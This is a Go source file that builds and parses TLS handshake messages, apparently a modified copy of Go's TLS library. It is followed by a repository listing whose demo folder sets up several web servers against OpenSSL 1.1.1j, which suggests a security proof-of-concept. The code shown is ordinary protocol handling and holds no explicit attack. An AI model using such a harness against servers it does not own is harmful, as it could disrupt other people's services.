// RFC 4492, sections 5.1.1 and RFC 8446, Section 4.2.7
var curves cryptobyte.String
if !extData.ReadUint16LengthPrefixed(&curves) || curves.Empty() {
return false
}
for !curves.Empty() {
var curve uint16
if !curves.ReadUint16(&curve) {
return false
}
m.supportedCurves = append(m.supportedCurves, CurveID(curve))
}
case extensionSupportedPoints:
// RFC 4492, Section 5.1.2
if !readUint8LengthPrefixed(&extData, &m.supportedPoints) ||
len(m.supportedPoints) == 0 {
return false
}
case extensionSessionTicket:
// RFC 5077, Section 3.2
m.ticketSupported = true
extData.ReadBytes(&m.sessionTicket, len(extData))
case extensionSignatureAlgorithms:
// RFC 5246, Section 7.4.1.4.1
var sigAndAlgs cryptobyte.String
if !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() {
return false
}
for !sigAndAlgs.Empty() {
var sigAndAlg uint16
if !sigAndAlgs.ReadUint16(&sigAndAlg) {
return false
}
m.supportedSignatureAlgorithms = append(
m.supportedSignatureAlgorithms, SignatureScheme(sigAndAlg))
}
case extensionSignatureAlgorithmsCert:
// RFC 8446, Section 4.2.3
var sigAndAlgs cryptobyte.String
if !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() {
return false
}
for !sigAndAlgs.Empty() {
var sigAndAlg uint16
if !sigAndAlgs.ReadUint16(&sigAndAlg) {
return false
}
m.supportedSignatureAlgorithmsCert = append(
m.supportedSignatureAlgorithmsCert, SignatureScheme(sigAndAlg))
}
case extensionRenegotiationInfo:
// RFC 5746, Section 3.2
if !readUint8LengthPrefixed(&extData, &m.secureRenegotiation) {
return false
}
m.secureRenegotiationSupported = true
case extensionALPN:
// RFC 7301, Section 3.1
var protoList cryptobyte.String
if !extData.ReadUint16LengthPrefixed(&protoList) || protoList.Empty() {
return false
}
for !protoList.Empty() {
var proto cryptobyte.String
if !protoList.ReadUint8LengthPrefixed(&proto) || proto.Empty() {
return false
}
m.alpnProtocols = append(m.alpnProtocols, string(proto))
}
case extensionSCT:
// RFC 6962, Section 3.3.1
m.scts = true
case extensionSupportedVersions:
// RFC 8446, Section 4.2.1
var versList cryptobyte.String
if !extData.ReadUint8LengthPrefixed(&versList) || versList.Empty() {
return false
}
for !versList.Empty() {
var vers uint16
if !versList.ReadUint16(&vers) {
return false
}
m.supportedVersions = append(m.supportedVersions, vers)
}
case extensionCookie:
// RFC 8446, Section 4.2.2
if !readUint16LengthPrefixed(&extData, &m.cookie) ||
len(m.cookie) == 0 {
return false
}
case extensionKeyShare:
// RFC 8446, Section 4.2.8
var clientShares cryptobyte.String
if !extData.ReadUint16LengthPrefixed(&clientShares) {
return false
}
for !clientShares.Empty() {
var ks keyShare
if !clientShares.ReadUint16((*uint16)(&ks.group)) ||
!readUint16LengthPrefixed(&clientShares, &ks.data) ||
len(ks.data) == 0 {
return false
}
m.keyShares = append(m.keyShares, ks)
}
case extensionEarlyData:
// RFC 8446, Section 4.2.10
m.earlyData = true
case extensionPSKModes:
// RFC 8446, Section 4.2.9
if !readUint8LengthPrefixed(&extData, &m.pskModes) {
return false
}
case extensionPreSharedKey:
return false
default:
// Ignore unknown extensions.
continue
}
if !extData.Empty() {
return false
}
}
return true
}
type serverHelloMsg struct {
raw []byte
vers uint16
random []byte
sessionId []byte
cipherSuite uint16
compressionMethod uint8
ocspStapling bool
ticketSupported bool
secureRenegotiationSupported bool
secureRenegotiation []byte
alpnProtocol string
scts [][]byte
supportedVersion uint16
serverShare keyShare
selectedIdentityPresent bool
selectedIdentity uint16
supportedPoints []uint8
// HelloRetryRequest extensions
cookie []byte
selectedGroup CurveID
}
func (m *serverHelloMsg) marshal() []byte {
if m.raw != nil {
return m.raw
}
var b cryptobyte.Builder
b.AddUint8(typeServerHello)
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16(m.vers)
addBytesWithLength(b, m.random, 32)
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.sessionId)
})
b.AddUint16(m.cipherSuite)
b.AddUint8(m.compressionMethod)
// If extensions aren't present, omit them.
var extensionsPresent bool
bWithoutExtensions := *b
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
if m.ocspStapling {
b.AddUint16(extensionStatusRequest)
b.AddUint16(0) // empty extension_data
}
if m.ticketSupported {
b.AddUint16(extensionSessionTicket)
b.AddUint16(0) // empty extension_data
}
if m.secureRenegotiationSupported {
b.AddUint16(extensionRenegotiationInfo)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.secureRenegotiation)
})
})
}
if len(m.alpnProtocol) > 0 {
b.AddUint16(extensionALPN)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes([]byte(m.alpnProtocol))
})
})
})
}
if len(m.scts) > 0 {
b.AddUint16(extensionSCT)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
for _, sct := range m.scts {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(sct)
})
}
})
})
}
if m.supportedVersion != 0 {
b.AddUint16(extensionSupportedVersions)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16(m.supportedVersion)
})
}
if m.serverShare.group != 0 {
b.AddUint16(extensionKeyShare)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16(uint16(m.serverShare.group))
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.serverShare.data)
})
})
}
if m.selectedIdentityPresent {
b.AddUint16(extensionPreSharedKey)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16(m.selectedIdentity)
})
}
if len(m.cookie) > 0 {
b.AddUint16(extensionCookie)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.cookie)
})
})
}
if m.selectedGroup != 0 {
b.AddUint16(extensionKeyShare)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16(uint16(m.selectedGroup))
})
}
if len(m.supportedPoints) > 0 {
b.AddUint16(extensionSupportedPoints)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.supportedPoints)
})
})
}
extensionsPresent = len(b.BytesOrPanic()) > 2
})
if !extensionsPresent {
*b = bWithoutExtensions
}
})
m.raw = b.BytesOrPanic()
return m.raw
}
func (m *serverHelloMsg) unmarshal(data []byte) bool {
*m = serverHelloMsg{raw: data}
s := cryptobyte.String(data)
if !s.Skip(4) || // message type and uint24 length field
!s.ReadUint16(&m.vers) || !s.ReadBytes(&m.random, 32) ||
!readUint8LengthPrefixed(&s, &m.sessionId) ||
!s.ReadUint16(&m.cipherSuite) ||
!s.ReadUint8(&m.compressionMethod) {
return false
}
if s.Empty() {
// ServerHello is optionally followed by extension data
return true
}
var extensions cryptobyte.String
if !s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() {
return false
}
for !extensions.Empty() {
var extension uint16
var extData cryptobyte.String
if !extensions.ReadUint16(&extension) ||
!extensions.ReadUint16LengthPrefixed(&extData) {
return false
}
switch extension {
case extensionStatusRequest:
m.ocspStapling = true
case extensionSessionTicket:
m.ticketSupported = true
case extensionRenegotiationInfo:
if !readUint8LengthPrefixed(&extData, &m.secureRenegotiation) {
return false
}
m.secureRenegotiationSupported = true
case extensionALPN:
var protoList cryptobyte.String
if !extData.ReadUint16LengthPrefixed(&protoList) || protoList.Empty() {
return false
}
var proto cryptobyte.String
if !protoList.ReadUint8LengthPrefixed(&proto) ||
proto.Empty() || !protoList.Empty() {
return false
}
m.alpnProtocol = string(proto)
case extensionSCT:
var sctList cryptobyte.String
if !extData.ReadUint16LengthPrefixed(&sctList) || sctList.Empty() {
return false
}
for !sctList.Empty() {
var sct []byte
if !readUint16LengthPrefixed(&sctList, &sct) ||
len(sct) == 0 {
return false
}
m.scts = append(m.scts, sct)
}
case extensionSupportedVersions:
if !extData.ReadUint16(&m.supportedVersion) {
return false
}
case extensionCookie:
if !readUint16LengthPrefixed(&extData, &m.cookie) ||
len(m.cookie) == 0 {
return false
}
case extensionKeyShare:
// This extension has different formats in SH and HRR, accept either
// and let the handshake logic decide. See RFC 8446, Section 4.2.8.
if len(extData) == 2 {
if !extData.ReadUint16((*uint16)(&m.selectedGroup)) {
return false
}
} else {
if !extData.ReadUint16((*uint16)(&m.serverShare.group)) ||
!readUint16LengthPrefixed(&extData, &m.serverShare.data) {
return false
}
}
case extensionPreSharedKey:
m.selectedIdentityPresent = true
if !extData.ReadUint16(&m.selectedIdentity) {
return false
}
case extensionSupportedPoints:
// RFC 4492, Section 5.1.2
if !readUint8LengthPrefixed(&extData, &m.supportedPoints) ||
len(m.supportedPoints) == 0 {
return false
}
default:
// Ignore unknown extensions.
continue
}
if !extData.Empty() {
return false
}
}
return true
}
type encryptedExtensionsMsg struct {
raw []byte
alpnProtocol string
}
func (m *encryptedExtensionsMsg) marshal() []byte {
if m.raw != nil {
return m.raw
}
var b cryptobyte.Builder
b.AddUint8(typeEncryptedExtensions)
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
if len(m.alpnProtocol) > 0 {
b.AddUint16(extensionALPN)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes([]byte(m.alpnProtocol))
})
})
})
}
})
})
m.raw = b.BytesOrPanic()
return m.raw
}
func (m *encryptedExtensionsMsg) unmarshal(data []byte) bool {
*m = encryptedExtensionsMsg{raw: data}
s := cryptobyte.String(data)
var extensions cryptobyte.String
if !s.Skip(4) || // message type and uint24 length field
!s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() {
return false
}
for !extensions.Empty() {
var extension uint16
var extData cryptobyte.String
if !extensions.ReadUint16(&extension) ||
!extensions.ReadUint16LengthPrefixed(&extData) {
return false
}
switch extension {
case extensionALPN:
var protoList cryptobyte.String
if !extData.ReadUint16LengthPrefixed(&protoList) || protoList.Empty() {
return false
}
var proto cryptobyte.String
if !protoList.ReadUint8LengthPrefixed(&proto) ||
proto.Empty() || !protoList.Empty() {
return false
}
m.alpnProtocol = string(proto)
default:
// Ignore unknown extensions.
continue
}
if !extData.Empty() {
return false
}
}
return true
}
type endOfEarlyDataMsg struct{}
func (m *endOfEarlyDataMsg) marshal() []byte {
x := make([]byte, 4)
x[0] = typeEndOfEarlyData
return x
}
func (m *endOfEarlyDataMsg) unmarshal(data []byte) bool {
return len(data) == 4
}
type keyUpdateMsg struct {
raw []byte
updateRequested bool
}
func (m *keyUpdateMsg) marshal() []byte {
if m.raw != nil {
return m.raw
}
var b cryptobyte.Builder
b.AddUint8(typeKeyUpdate)
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
if m.updateRequested {
b.AddUint8(1)
} else {
b.AddUint8(0)
}
})
m.raw = b.BytesOrPanic()
return m.raw
}
func (m *keyUpdateMsg) unmarshal(data []byte) bool {
m.raw = data
s := cryptobyte.String(data)
var updateRequested uint8
if !s.Skip(4) || // message type and uint24 length field
!s.ReadUint8(&updateRequested) || !s.Empty() {
return false
}
switch updateRequested {
case 0:
m.updateRequested = false
case 1:
m.updateRequested = true
default:
return false
}
return true
}
type newSessionTicketMsgTLS13 struct {
raw []byte
lifetime uint32
ageAdd uint32
nonce []byte
label []byte
maxEarlyData uint32
}
func (m *newSessionTicketMsgTLS13) marshal() []byte {
if m.raw != nil {
return m.raw
}
var b cryptobyte.Builder
b.AddUint8(typeNewSessionTicket)
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint32(m.lifetime)
b.AddUint32(m.ageAdd)
b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.nonce)
})
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.label)
})
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
if m.maxEarlyData > 0 {
b.AddUint16(extensionEarlyData)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint32(m.maxEarlyData)
})
}
})
})
m.raw = b.BytesOrPanic()
return m.raw
}
func (m *newSessionTicketMsgTLS13) unmarshal(data []byte) bool {
*m = newSessionTicketMsgTLS13{raw: data}
s := cryptobyte.String(data)
var extensions cryptobyte.String
if !s.Skip(4) || // message type and uint24 length field
!s.ReadUint32(&m.lifetime) ||
!s.ReadUint32(&m.ageAdd) ||
!readUint8LengthPrefixed(&s, &m.nonce) ||
!readUint16LengthPrefixed(&s, &m.label) ||
!s.ReadUint16LengthPrefixed(&extensions) ||
!s.Empty() {
return false
}
for !extensions.Empty() {
var extension uint16
var extData cryptobyte.String
if !extensions.ReadUint16(&extension) ||
!extensions.ReadUint16LengthPrefixed(&extData) {
return false
}
switch extension {
case extensionEarlyData:
if !extData.ReadUint32(&m.maxEarlyData) {
return false
}
default:
// Ignore unknown extensions.
continue
}
if !extData.Empty() {
return false
}
}
return true
}
type certificateRequestMsgTLS13 struct {
raw []byte
ocspStapling bool
scts bool
supportedSignatureAlgorithms []SignatureScheme
supportedSignatureAlgorithmsCert []SignatureScheme
certificateAuthorities [][]byte
}
func (m *certificateRequestMsgTLS13) marshal() []byte {
if m.raw != nil {
return m.raw
}
var b cryptobyte.Builder
b.AddUint8(typeCertificateRequest)
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
// certificate_request_context (SHALL be zero length unless used for
// post-handshake authentication)
b.AddUint8(0)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
if m.ocspStapling {
b.AddUint16(extensionStatusRequest)
b.AddUint16(0) // empty extension_data
}
if m.scts {
// RFC 8446, Section 4.4.2.1 makes no mention of
// signed_certificate_timestamp in CertificateRequest, but
// "Extensions in the Certificate message from the client MUST
// correspond to extensions in the CertificateRequest message
// from the server." and it appears in the table in Section 4.2.
b.AddUint16(extensionSCT)
b.AddUint16(0) // empty extension_data
}
if len(m.supportedSignatureAlgorithms) > 0 {
b.AddUint16(extensionSignatureAlgorithms)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
for _, sigAlgo := range m.supportedSignatureAlgorithms {
b.AddUint16(uint16(sigAlgo))
}
})
})
}
if len(m.supportedSignatureAlgorithmsCert) > 0 {
b.AddUint16(extensionSignatureAlgorithmsCert)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
for _, sigAlgo := range m.supportedSignatureAlgorithmsCert {
b.AddUint16(uint16(sigAlgo))
}
})
})
}
if len(m.certificateAuthorities) > 0 {
b.AddUint16(extensionCertificateAuthorities)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
for _, ca := range m.certificateAuthorities {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(ca)
})
}
})
})
}
})
})
m.raw = b.BytesOrPanic()
return m.raw
}
func (m *certificateRequestMsgTLS13) unmarshal(data []byte) bool {
*m = certificateRequestMsgTLS13{raw: data}
s := cryptobyte.String(data)
var context, extensions cryptobyte.String
if !s.Skip(4) || // message type and uint24 length field
!s.ReadUint8LengthPrefixed(&context) || !context.Empty() ||
!s.ReadUint16LengthPrefixed(&extensions) ||
!s.Empty() {
return false
}
for !extensions.Empty() {
var extension uint16
var extData cryptobyte.String
if !extensions.ReadUint16(&extension) ||
!extensions.ReadUint16LengthPrefixed(&extData) {
return false
}
switch extension {
case extensionStatusRequest:
m.ocspStapling = true
case extensionSCT:
m.scts = true
case extensionSignatureAlgorithms:
var sigAndAlgs cryptobyte.String
if !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() {
return false
}
for !sigAndAlgs.Empty() {
var sigAndAlg uint16
if !sigAndAlgs.ReadUint16(&sigAndAlg) {
return false
}
m.supportedSignatureAlgorithms = append(
m.supportedSignatureAlgorithms, SignatureScheme(sigAndAlg))
}
case extensionSignatureAlgorithmsCert:
var sigAndAlgs cryptobyte.String
if !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() {
return false
}
for !sigAndAlgs.Empty() {
var sigAndAlg uint16
if !sigAndAlgs.ReadUint16(&sigAndAlg) {
return false
}
m.supportedSignatureAlgorithmsCert = append(
m.supportedSignatureAlgorithmsCert, SignatureScheme(sigAndAlg))
}
case extensionCertificateAuthorities:
var auths cryptobyte.String
if !extData.ReadUint16LengthPrefixed(&auths) || auths.Empty() {
return false
}
for !auths.Empty() {
var ca []byte
if !readUint16LengthPrefixed(&auths, &ca) || len(ca) == 0 {
return false
}
m.certificateAuthorities = append(m.certificateAuthorities, ca)
}
default:
// Ignore unknown extensions.
continue
}
if !extData.Empty() {
return false
}
}
return true
}
type certificateMsg struct {
raw []byte
certificates [][]byte
}
func (m *certificateMsg) marshal() (x []byte) {
if m.raw != nil {
return m.raw
}
var i int
for _, slice := range m.certificates {
i += len(slice)
}
length := 3 + 3*len(m.certificates) + i
x = make([]byte, 4+length)
x[0] = typeCertificate
x[1] = uint8(length >> 16)
x[2] = uint8(length >> 8)
x[3] = uint8(length)
certificateOctets := length - 3
x[4] = uint8(certificateOctets >> 16)
x[5] = uint8(certificateOctets >> 8)
x[6] = uint8(certificateOctets)
y := x[7:]
for _, slice := range m.certificates {
y[0] = uint8(len(slice) >> 16)
y[1] = uint8(len(slice) >> 8)
y[2] = uint8(len(slice))
copy(y[3:], slice)
y = y[3+len(slice):]
}
m.raw = x
return
}
func (m *certificateMsg) unmarshal(data []byte) bool {
if len(data) < 7 {
return false
}
m.raw = data
certsLen := uint32(data[4])<<16 | uint32(data[5])<<8 | uint32(data[6])
if uint32(len(data)) != certsLen+7 {
return false
}
numCerts := 0
d := data[7:]
for certsLen > 0 {
if len(d) < 4 {
return false
}
certLen := uint32(d[0])<<16 | uint32(d[1])<<8 | uint32(d[2])
if uint32(len(d)) < 3+certLen {
return false
}
d = d[3+certLen:]
certsLen -= 3 + certLen
numCerts++
}
m.certificates = make([][]byte, numCerts)
d = data[7:]
for i := 0; i < numCerts; i++ {
certLen := uint32(d[0])<<16 | uint32(d[1])<<8 | uint32(d[2])
m.certificates[i] = d[3 : 3+certLen]
d = d[3+certLen:]
}
return true
}
type certificateMsgTLS13 struct {
raw []byte
certificate Certificate
ocspStapling bool
scts bool
}
func (m *certificateMsgTLS13) marshal() []byte {
if m.raw != nil {
return m.raw
}
var b cryptobyte.Builder
b.AddUint8(typeCertificate)
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint8(0) // certificate_request_context
certificate := m.certificate
if !m.ocspStapling {
certificate.OCSPStaple = nil
}
if !m.scts {
certificate.SignedCertificateTimestamps = nil
}
marshalCertificate(b, certificate)
})
m.raw = b.BytesOrPanic()
return m.raw
}
func marshalCertificate(b *cryptobyte.Builder, certificate Certificate) {
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
for i, cert := range certificate.Certificate {
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(cert)
})
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
if i > 0 {
// This library only supports OCSP and SCT for leaf certificates.
return
}
if certificate.OCSPStaple != nil {
b.AddUint16(extensionStatusRequest)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint8(statusTypeOCSP)
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(certificate.OCSPStaple)
})
})
}
if certificate.SignedCertificateTimestamps != nil {
b.AddUint16(extensionSCT)
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
for _, sct := range certificate.SignedCertificateTimestamps {
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(sct)
})
}
})
})
}
})
}
})
}
func (m *certificateMsgTLS13) unmarshal(data []byte) bool {
*m = certificateMsgTLS13{raw: data}
s := cryptobyte.String(data)
var context cryptobyte.String
if !s.Skip(4) || // message type and uint24 length field
!s.ReadUint8LengthPrefixed(&context) || !context.Empty() ||
!unmarshalCertificate(&s, &m.certificate) ||
!s.Empty() {
return false
}
m.scts = m.certificate.SignedCertificateTimestamps != nil
m.ocspStapling = m.certificate.OCSPStaple != nil
return true
}
func unmarshalCertificate(s *cryptobyte.String, certificate *Certificate) bool {
var certList cryptobyte.String
if !s.ReadUint24LengthPrefixed(&certList) {
return false
}
for !certList.Empty() {
var cert []byte
var extensions cryptobyte.String
if !readUint24LengthPrefixed(&certList, &cert) ||
!certList.ReadUint16LengthPrefixed(&extensions) {
return false
}
certificate.Certificate = append(certificate.Certificate, cert)
for !extensions.Empty() {
var extension uint16
var extData cryptobyte.String
if !extensions.ReadUint16(&extension) ||
!extensions.ReadUint16LengthPrefixed(&extData) {
return false
}
if len(certificate.Certificate) > 1 {
// This library only supports OCSP and SCT for leaf certificates.
continue
}
switch extension {
case extensionStatusRequest:
var statusType uint8
if !extData.ReadUint8(&statusType) || statusType != statusTypeOCSP ||
!readUint24LengthPrefixed(&extData, &certificate.OCSPStaple) ||
len(certificate.OCSPStaple) == 0 {
return false
}
case extensionSCT:
var sctList cryptobyte.String
if !extData.ReadUint16LengthPrefixed(&sctList) || sctList.Empty() {
return false
}
for !sctList.Empty() {
var sct []byte
if !readUint16LengthPrefixed(&sctList, &sct) ||
len(sct) == 0 {
return false
}
certificate.SignedCertificateTimestamps = append(
certificate.SignedCertificateTimestamps, sct)
}
default:
// Ignore unknown extensions.
continue
}
if !extData.Empty() {
return false
}
}
}
return true
}
type serverKeyExchangeMsg struct {
raw []byte
key []byte
}
func (m *serverKeyExchangeMsg) marshal() []byte {
if m.raw != nil {
return m.raw
}
length := len(m.key)
x := make([]byte, length+4)
x[0] = typeServerKeyExchange
x[1] = uint8(length >> 16)
x[2] = uint8(length >> 8)
x[3] = uint8(length)
copy(x[4:], m.key)
m.raw = x
return x
}
func (m *serverKeyExchangeMsg) unmarshal(data []byte) bool {
m.raw = data
if len(data) < 4 {
return false
}
m.key = data[4:]
return true
}
type certificateStatusMsg struct {
raw []byte
response []byte
}
func (m *certificateStatusMsg) marshal() []byte {
if m.raw != nil {
return m.raw
}
var b cryptobyte.Builder
b.AddUint8(typeCertificateStatus)
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddUint8(statusTypeOCSP)
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.response)
})
})
m.raw = b.BytesOrPanic()
return m.raw
}
func (m *certificateStatusMsg) unmarshal(data []byte) bool {
m.raw = data
s := cryptobyte.String(data)
var statusType uint8
if !s.Skip(4) || // message type and uint24 length field
!s.ReadUint8(&statusType) || statusType != statusTypeOCSP ||
!readUint24LengthPrefixed(&s, &m.response) ||
len(m.response) == 0 || !s.Empty() {
return false
}
return true
}
type serverHelloDoneMsg struct{}
func (m *serverHelloDoneMsg) marshal() []byte {
x := make([]byte, 4)
x[0] = typeServerHelloDone
return x
}
func (m *serverHelloDoneMsg) unmarshal(data []byte) bool {
return len(data) == 4
}
type clientKeyExchangeMsg struct {
raw []byte
ciphertext []byte
}
func (m *clientKeyExchangeMsg) marshal() []byte {
if m.raw != nil {
return m.raw
}
length := len(m.ciphertext)
x := make([]byte, length+4)
x[0] = typeClientKeyExchange
x[1] = uint8(length >> 16)
x[2] = uint8(length >> 8)
x[3] = uint8(length)
copy(x[4:], m.ciphertext)
m.raw = x
return x
}
func (m *clientKeyExchangeMsg) unmarshal(data []byte) bool {
m.raw = data
if len(data) < 4 {
return false
}
l := int(data[1])<<16 | int(data[2])<<8 | int(data[3])
if l != len(data)-4 {
return false
}
m.ciphertext = data[4:]
return true
}
type finishedMsg struct {
raw []byte
verifyData []byte
}
func (m *finishedMsg) marshal() []byte {
if m.raw != nil {
return m.raw
}
var b cryptobyte.Builder
b.AddUint8(typeFinished)
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.verifyData)
})
m.raw = b.BytesOrPanic()
return m.raw
}
func (m *finishedMsg) unmarshal(data []byte) bool {
m.raw = data
s := cryptobyte.String(data)
return s.Skip(1) &&
readUint24LengthPrefixed(&s, &m.verifyData) &&
s.Empty()
}
type certificateRequestMsg struct {
raw []byte
// hasSignatureAlgorithm indicates whether this message includes a list of
// supported signature algorithms. This change was introduced with TLS 1.2.
hasSignatureAlgorithm bool
certificateTypes []byte
supportedSignatureAlgorithms []SignatureScheme
certificateAuthorities [][]byte
}
func (m *certificateRequestMsg) marshal() (x []byte) {
if m.raw != nil {
return m.raw
}
// See RFC 4346, Section 7.4.4.
length := 1 + len(m.certificateTypes) + 2
casLength := 0
for _, ca := range m.certificateAuthorities {
casLength += 2 + len(ca)
}
length += casLength
if m.hasSignatureAlgorithm {
length += 2 + 2*len(m.supportedSignatureAlgorithms)
}
x = make([]byte, 4+length)
x[0] = typeCertificateRequest
x[1] = uint8(length >> 16)
x[2] = uint8(length >> 8)
x[3] = uint8(length)
x[4] = uint8(len(m.certificateTypes))
copy(x[5:], m.certificateTypes)
y := x[5+len(m.certificateTypes):]
if m.hasSignatureAlgorithm {
n := len(m.supportedSignatureAlgorithms) * 2
y[0] = uint8(n >> 8)
y[1] = uint8(n)
y = y[2:]
for _, sigAlgo := range m.supportedSignatureAlgorithms {
y[0] = uint8(sigAlgo >> 8)
y[1] = uint8(sigAlgo)
y = y[2:]
}
}
y[0] = uint8(casLength >> 8)
y[1] = uint8(casLength)
y = y[2:]
for _, ca := range m.certificateAuthorities {
y[0] = uint8(len(ca) >> 8)
y[1] = uint8(len(ca))
y = y[2:]
copy(y, ca)
y = y[len(ca):]
}
m.raw = x
return
}
func (m *certificateRequestMsg) unmarshal(data []byte) bool {
m.raw = data
if len(data) < 5 {
return false
}
length := uint32(data[1])<<16 | uint32(data[2])<<8 | uint32(data[3])
if uint32(len(data))-4 != length {
return false
}
numCertTypes := int(data[4])
data = data[5:]
if numCertTypes == 0 || len(data) <= numCertTypes {
return false
}
m.certificateTypes = make([]byte, numCertTypes)
if copy(m.certificateTypes, data) != numCertTypes {
return false
}
data = data[numCertTypes:]
if m.hasSignatureAlgorithm {
if len(data) < 2 {
return false
}
sigAndHashLen := uint16(data[0])<<8 | uint16(data[1])
data = data[2:]
if sigAndHashLen&1 != 0 {
return false
}
if len(data) < int(sigAndHashLen) {
return false
}
numSigAlgos := sigAndHashLen / 2
m.supportedSignatureAlgorithms = make([]SignatureScheme, numSigAlgos)
for i := range m.supportedSignatureAlgorithms {
m.supportedSignatureAlgorithms[i] = SignatureScheme(data[0])<<8 | SignatureScheme(data[1])
data = data[2:]
}
}
if len(data) < 2 {
return false
}
casLength := uint16(data[0])<<8 | uint16(data[1])
data = data[2:]
if len(data) < int(casLength) {
return false
}
cas := make([]byte, casLength)
copy(cas, data)
data = data[casLength:]
m.certificateAuthorities = nil
for len(cas) > 0 {
if len(cas) < 2 {
return false
}
caLen := uint16(cas[0])<<8 | uint16(cas[1])
cas = cas[2:]
if len(cas) < int(caLen) {
return false
}
m.certificateAuthorities = append(m.certificateAuthorities, cas[:caLen])
cas = cas[caLen:]
}
return len(data) == 0
}
type certificateVerifyMsg struct {
raw []byte
hasSignatureAlgorithm bool // format change introduced in TLS 1.2
signatureAlgorithm SignatureScheme
signature []byte
}
func (m *certificateVerifyMsg) marshal() (x []byte) {
if m.raw != nil {
return m.raw
}
var b cryptobyte.Builder
b.AddUint8(typeCertificateVerify)
b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {
if m.hasSignatureAlgorithm {
b.AddUint16(uint16(m.signatureAlgorithm))
}
b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {
b.AddBytes(m.signature)
})
})
m.raw = b.BytesOrPanic()
return m.raw
}
func (m *certificat
gitextract_ddh48f11/
├── .gitignore
├── Makefile
├── README.md
├── demo/
│ ├── .dockerignore
│ ├── .gitignore
│ ├── Makefile
│ ├── apache-default-ssl.conf
│ ├── apache.Dockerfile
│ ├── base.Dockerfile
│ ├── haproxy.Dockerfile
│ ├── haproxy.cfg
│ ├── lighttpd-10-ssl.conf
│ ├── lighttpd.Dockerfile
│ ├── nginx.Dockerfile
│ ├── nginx.conf
│ ├── nodejs.Dockerfile
│ ├── nodejs.js
│ ├── openssl-1.1.1j.tar.gz.sha256sum
│ └── openssl.Dockerfile
├── go.mod
├── go.sum
├── main.go
└── tls/
├── alert.go
├── auth.go
├── cipher_suites.go
├── common.go
├── conn.go
├── generate_cert.go
├── handshake_client.go
├── handshake_messages.go
├── key_agreement.go
├── key_schedule.go
├── prf.go
├── ticket.go
└── tls.go
SYMBOL INDEX (418 symbols across 14 files)
FILE: main.go
function main (line 10) | func main() {
FILE: tls/alert.go
type alert (line 9) | type alert
method String (line 77) | func (e alert) String() string {
method Error (line 85) | func (e alert) Error() string {
constant alertLevelWarning (line 13) | alertLevelWarning = 1
constant alertLevelError (line 14) | alertLevelError = 2
constant alertCloseNotify (line 18) | alertCloseNotify alert = 0
